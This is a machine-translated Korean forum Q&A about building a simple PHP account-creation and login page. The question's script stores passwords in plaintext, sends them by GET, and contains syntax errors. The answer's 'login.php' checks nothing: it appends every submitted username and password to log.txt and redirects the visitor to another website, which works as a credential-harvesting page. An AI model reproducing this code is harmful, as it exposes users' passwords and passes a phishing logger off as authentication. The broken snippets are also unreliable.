사용자가 계정 생성 버튼을 클릭하면 로그인 이름과 비밀번호를 입력하는 다음 양식이있는 페이지로 이동하는 간단한 로그인 사이트에 대한 계정 생성 페이지를 생성하고 싶습니다.
<form action = "createaccount.php" method="get">
<h1> Please enter your information to create a new login account</h1>
<p>
<label>Login Name:</label><input type = "text" name = "name" />
<label>Password:</label><input type = "password" name = "pwd" />
<br/><br/>
</p>
<input type = "submit" id = "submit" value = "submit"/>
<input type = "reset" id = "reset" value = "reset"/>
</form>
사용자가 입력 상자에 데이터를 입력 한 후 php 스크립트를 실행하여이 데이터를 accounts.php라는 텍스트 파일에 저장하고 싶습니다 (안전하지 않다는 것을 알고 있지만이 데이터는 내가 구성 할 때 가치가 없습니다. 학습 과정의 일부로).
지금까지 createaccount.php 파일에 데이터를 저장하는 다음 PHP 코드가 있습니다.
<?php
$username = $_GET['name'];
$password = $_GET['pwd'];
$filename = 'accounts.txt';
$fp = fopen($filename, 'a+');
fwrite ($fp, $username . "," . $password . "\n");
$fclose ($fp);
echo ("account created");
header("Location: "login.html");
die();
?>
이 코드는 로그인 이름과 암호에서 입력을 가져 와서 다음 형식으로 accounts.txt라는 파일에 저장해야한다고 생각합니다.
username1:password1
username2:password2
etc.
그런 다음 생성 된 화면 계정을 표시 한 다음 사용자를 내 login.html 페이지로 이동하여 새 계정 정보로 로그인 할 수 있도록합니다.
하지만 코드를 실행하려고 시도했는데 내 데이터가 파일에 전혀 저장되지 않고 양식을 제출할 때 로그인 화면으로 돌아 가지 않고 페이지를 표시 할 수 없다는 메시지가 표시됩니다.
간단한 로그인 양식을 만드는 방법.
html (login.html)
<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>
php (login.php)
<html>
<head>
<title>Login</title>
</head>
<body>
<?php
//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){
$myFile = "log.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);
} ?>
//goes here after
<script>location.href='https://YOURWEBSITE.com';</script>
</body>
</html>
도움이 되었기를 바랍니다. 다른 질문이 있으면 스카이프에 추가됩니다. Skype : YouRGenetics 웹 사이트 : ItzGenetics.com
~ 참고 권한을 사용하는 호스팅 회사 (GoDaddy, ect)를 사용하는 경우 php 파일과 txt 파일에 대한 모든 권한을 부여해야합니다.
이 기사는 인터넷에서 수집됩니다. 재 인쇄 할 때 출처를 알려주십시오.
침해가 발생한 경우 연락 주시기 바랍니다[email protected] 삭제
몇 마디 만하겠습니다